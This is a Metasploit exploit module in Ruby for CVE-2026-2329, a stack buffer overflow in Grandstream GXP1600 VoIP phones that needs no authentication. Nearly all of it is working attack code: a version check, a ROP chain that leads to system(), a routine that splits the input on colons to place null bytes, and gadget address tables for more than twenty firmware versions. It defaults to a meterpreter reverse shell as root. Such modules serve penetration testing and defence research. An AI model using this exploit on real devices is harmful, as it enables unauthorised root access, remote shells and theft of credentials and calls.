## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'GrandStream GXP1600 Unauthenticated Remote Code Execution', 'Description' => %q{ An unauthenticated stack-based buffer overflow vulnerability exists in the HTTP API endpoint /cgi-bin/api.values.get. A remote attacker can leverage this vulnerability to achieve unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability affects all six device models in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. The vulnerability affects all firmware versions below version 1.0.7.81. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # Discovery, Analysis, Exploit ], 'References' => [ ['CVE', '2026-2329'], # Rapid7 advisory for CVE-2026-2329 ['URL', 'www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'], # Vendor advisory for CVE-2026-2329 (GSVUL-2026-001) ['URL', 'https://psirt.grandstream.com/'], # Vendor release notes (PDF) for the fixed firmware version 1.0.7.81. ['URL', 'https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf'] ], 'DisclosureDate' => '2026-02-18', 'Platform' => %w[linux unix], 'Arch' => ARCH_CMD, 'Privileged' => true, # /app/bin/gs_web runs as root 'Targets' => [ [ 'Automatic', {} ], ], 'DefaultTarget' => 0, # NOTE: Tested with the following payloads: # cmd/linux/http/armle/meterpreter_reverse_tcp # cmd/unix/reverse_netcat 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/armle/meterpreter_reverse_tcp', 'RPORT' => 80, 'SSL' => false, # A writable directory on the target for fetch based payloads to write to. 'FETCH_WRITABLE_DIR' => '/tmp', # Delete the fetch binary after execution. 'FETCH_DELETE' => true }, 'Payload' => { 'BadChars' => ':', 'Encoder' => 'cmd/base64' }, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS], 'RelatedModules' => [ 'post/linux/gather/grandstream_gxp1600_creds', 'post/linux/capture/grandstream_gxp1600_sip' ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to web admin', '/']), ] ) end def check version_id = '68' model_id = 'phone_model' server_res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'), 'vars_post' => { 'request' => "#{version_id}:#{model_id}" } ) return CheckCode::Unknown('Connection failed') unless server_res return CheckCode::Unknown("Unexpected response code #{server_res.code}") unless server_res.code == 200 json_data = server_res.get_json_document version_str = json_data.dig('body', version_id) model_str = json_data.dig('body', model_id) return CheckCode::Unknown('Failed to get the version or model info') if version_str.blank? || model_str.blank? # These 6 models all share the same firmware for the GXP1600 range. affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630] if affected_models.include? model_str version = Rex::Version.new(version_str) # Teh vulnerability was patched in firmware version 1.0.7.81, released January 30, 2026. if version < Rex::Version.new('1.0.7.81') return Exploit::CheckCode::Appears("GrandStream #{model_str} version #{version_str}") end end Exploit::CheckCode::Safe("GrandStream #{model_str} version #{version_str}") end def exploit version_id = '68' server_res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'), 'vars_post' => { 'request' => version_id } ) fail_with(Failure::UnexpectedReply, 'Failed to get version number') unless server_res&.code == 200 json_data = server_res.get_json_document version_str = json_data.dig('body', version_id) rop_table = get_rop_table(version_str) fail_with(Failure::BadConfig, "No ROP table available for version #{version_str}") unless rop_table vprint_status("ROP Table: #{rop_table}") unless rop_table[:gadget3_call_exit] print_warning('No ROP gadget available to call exit(). The payload will work, but will crash and core dump the target gs_web process.') end pointer_size = 4 rop = [ :rand4, # padding # The vulnerable function returns via this function epilogue: POP {R4-R11,PC} # So we initially get control of registers r4 - r11, and then execute gadget1_blx_pop via the overwritten PC. rop_table[:address_data_section], # r4 -> .data segment :rand4, # r5 :rand4, # r6 :rand4, # r7 :rand4, # r8 :rand4, # r9 :rand4, # r10 :rand4, # r11 rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc} :patch_offset2cmd, # r3 -> r0 + r3 == "/bin/sh ..." rop_table[:gadget2_add_str_add_str_pop], # pc -> add r0, r3, r0; str r7, [r4, #8]; add r6, r0, r6; str r6, [r4, #4]; pop {r4, r5, r6, r7, r8, pc}; :rand4, # r4 :rand4, # r5 :rand4, # r6 :rand4, # r7 :rand4, # r8 rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc} rop_table[:address_system_plt], # r3 -> system@plt rop_table[:gadget1_blx_pop], # pc -> blx r3; pop {r3, pc} :rand4, # r3 rop_table[:gadget3_call_exit] || :rand4highnull # pc -> mov r0, 1; bl 0xbcd0 ] overflow_buffer = Rex::Text.rand_text_alpha(64) rop.map! do |item| if item == :patch_offset2cmd # When the vulnerable function returns, r0 will point into the stack, 28 bytes before the start of our overflow # buffer. We use a gadget (gadget2_add_str_add_str_pop) to add r0 to an offset (held in r3), after this gadget # executes, r3 will point to the OS command we want to execute, which is located on the stack directly after # our ROP chain. The below offset is the value placed in r3 for this calculation. item = 28 + overflow_buffer.length + (rop.length * pointer_size) elsif item == :rand4 item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first elsif item == :rand4highnull item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first & 0x00FFFFFF end item end vprint_status("Encoded ARCH_CMD Payload: #{payload.encoded}") request_buffer = gen_buffer( rop.pack('V*') << payload.encoded, overflow_buffer ) register_file_for_cleanup('/tmp/core.gz') register_dir_for_cleanup('/core') send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'), 'vars_post' => { 'request' => request_buffer } ) end # The vulnerability only allows for a single null terminator byte to be written during the overflow. To overcome this # limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request # parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can # be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null # byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation. # # For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g. # "EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0" (where 0 is a null byte) # we can trigger the overflow 5 times by structuring the input as follows: # "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE" # When the vulnerable function process this colon deliminated input, it will trigger the overflow 5 times, and each # time it will write a null byte at the end of the current identifier being processed. The final memory layout will # be the expected attacker controller byte sequence. Note, the lengths used in this example are contrived for brevity, # as the actual vulnerable function requires a 64 byte buffer to be overflowed for each invocation of the vulnerability. # # The gen_buffer method will take care of restructuring the input in the above described manner. def gen_buffer(input, line_padding = '') input << "\x00" unless input[input.length - 1] == "\x00" len = input.length lines = [] input.reverse.each_byte do |chr| line = '1' * (len - 1) if chr.zero? line << ':' else line << [chr].pack('C') end len -= 1 lines << line end res = [] lines.each do |line| if line.end_with? ':' res << (line_padding + line) else res.last[line_padding.length + line.length - 1] = line[line.length - 1] end end res.join end def get_rop_table(version_str) rop_tables = { '1.0.7.80' => { address_system_plt: 0x0000b868, address_data_section: 0x000224c8, gadget2_add_str_add_str_pop: 0x0000f110, gadget1_blx_pop: 0x0000c230, gadget3_call_exit: 0x0000ffc0 }, '1.0.7.79' => { address_system_plt: 0x0000b73c, address_data_section: 0x00022490, gadget2_add_str_add_str_pop: 0x0000ef64, gadget1_blx_pop: 0x0000c0ec, gadget3_call_exit: 0x0000fe14 }, '1.0.7.74' => { address_system_plt: 0x0000b73c, address_data_section: 0x00022490, gadget2_add_str_add_str_pop: 0x0000ef64, gadget1_blx_pop: 0x0000c0ec, gadget3_call_exit: 0x0000fe14 }, '1.0.7.70' => { address_system_plt: 0x0000b73c, address_data_section: 0x00022490, gadget2_add_str_add_str_pop: 0x0000ef64, gadget1_blx_pop: 0x0000c0ec, gadget3_call_exit: 0x0000fe14 }, '1.0.7.67' => { address_system_plt: 0x0000b6c4, address_data_section: 0x00021e6c, gadget2_add_str_add_str_pop: 0x0000ed7c, gadget1_blx_pop: 0x0000c05c, gadget3_call_exit: 0x0000fc2c }, '1.0.7.64' => { address_system_plt: 0x0000b6c4, address_data_section: 0x00021e2c, gadget2_add_str_add_str_pop: 0x0000ed38, gadget1_blx_pop: 0x0000c05c, gadget3_call_exit: 0x0000fbe8 }, '1.0.7.56' => { address_system_plt: 0x0000bd78, address_data_section: 0x00022474, gadget2_add_str_add_str_pop: 0x000140ec, gadget1_blx_pop: 0x0000c6bc, gadget3_call_exit: nil }, '1.0.7.50' => { address_system_plt: 0x0000bd78, address_data_section: 0x00022474, gadget2_add_str_add_str_pop: 0x000140ec, gadget1_blx_pop: 0x0000c6bc, gadget3_call_exit: nil }, '1.0.7.49' => { address_system_plt: 0x0000bd78, address_data_section: 0x00022474, gadget2_add_str_add_str_pop: 0x000140ec, gadget1_blx_pop: 0x0000c6bc, gadget3_call_exit: nil }, '1.0.7.33' => { address_system_plt: 0x0000bd10, address_data_section: 0x00021e0c, gadget2_add_str_add_str_pop: 0x00013ed4, gadget1_blx_pop: 0x0000c63c, gadget3_call_exit: nil }, '1.0.7.27' => { address_system_plt: 0x0000bd10, address_data_section: 0x00021e0c, gadget2_add_str_add_str_pop: 0x00013ed4, gadget1_blx_pop: 0x0000c63c, gadget3_call_exit: nil }, '1.0.7.24' => { address_system_plt: 0x0000c40c, address_data_section: 0x00021948, gadget2_add_str_add_str_pop: 0x00013b2c, gadget1_blx_pop: 0x0000c600, gadget3_call_exit: nil }, '1.0.7.18' => { address_system_plt: 0x0000c40c, address_data_section: 0x00021470, gadget2_add_str_add_str_pop: 0x00013aec, gadget1_blx_pop: 0x0000c5f0, gadget3_call_exit: nil }, '1.0.7.13' => { address_system_plt: 0x0000c40c, address_data_section: 0x0002145c, gadget2_add_str_add_str_pop: 0x00013adc, gadget1_blx_pop: 0x0000c5f0, gadget3_call_exit: nil }, '1.0.7.6' => { address_system_plt: 0x0000c40c, address_data_section: 0x0002145c, gadget2_add_str_add_str_pop: 0x00013adc, gadget1_blx_pop: 0x0000c5f0, gadget3_call_exit: nil }, '1.0.7.3' => { address_system_plt: 0x0000c40c, address_data_section: 0x0002145c, gadget2_add_str_add_str_pop: 0x00013adc, gadget1_blx_pop: 0x0000c5f0, gadget3_call_exit: nil }, '1.0.5.3' => { address_system_plt: 0x0000c40c, address_data_section: 0x0002145c, gadget2_add_str_add_str_pop: 0x00013adc, gadget1_blx_pop: 0x0000c5f0, gadget3_call_exit: nil }, '1.0.4.152' => { address_system_plt: 0x0000c40c, address_data_section: 0x0002145c, gadget2_add_str_add_str_pop: 0x00013adc, gadget1_blx_pop: 0x0000c5f0, gadget3_call_exit: nil }, '1.0.4.140' => { address_system_plt: 0x0000c358, address_data_section: 0x00021454, gadget2_add_str_add_str_pop: 0x000137e8, gadget1_blx_pop: 0x0000c53c, gadget3_call_exit: nil }, '1.0.4.132' => { address_system_plt: 0x0000c358, address_data_section: 0x00020c2c, gadget2_add_str_add_str_pop: 0x00013558, gadget1_blx_pop: 0x0000c53c, gadget3_call_exit: nil }, '1.0.4.128' => { # Released August 3, 2018. address_system_plt: 0x0000c17c, address_data_section: 0x0001e9c4, gadget2_add_str_add_str_pop: 0x00011cc8, gadget1_blx_pop: 0x0000c360, gadget3_call_exit: nil } } rop_tables[version_str] end end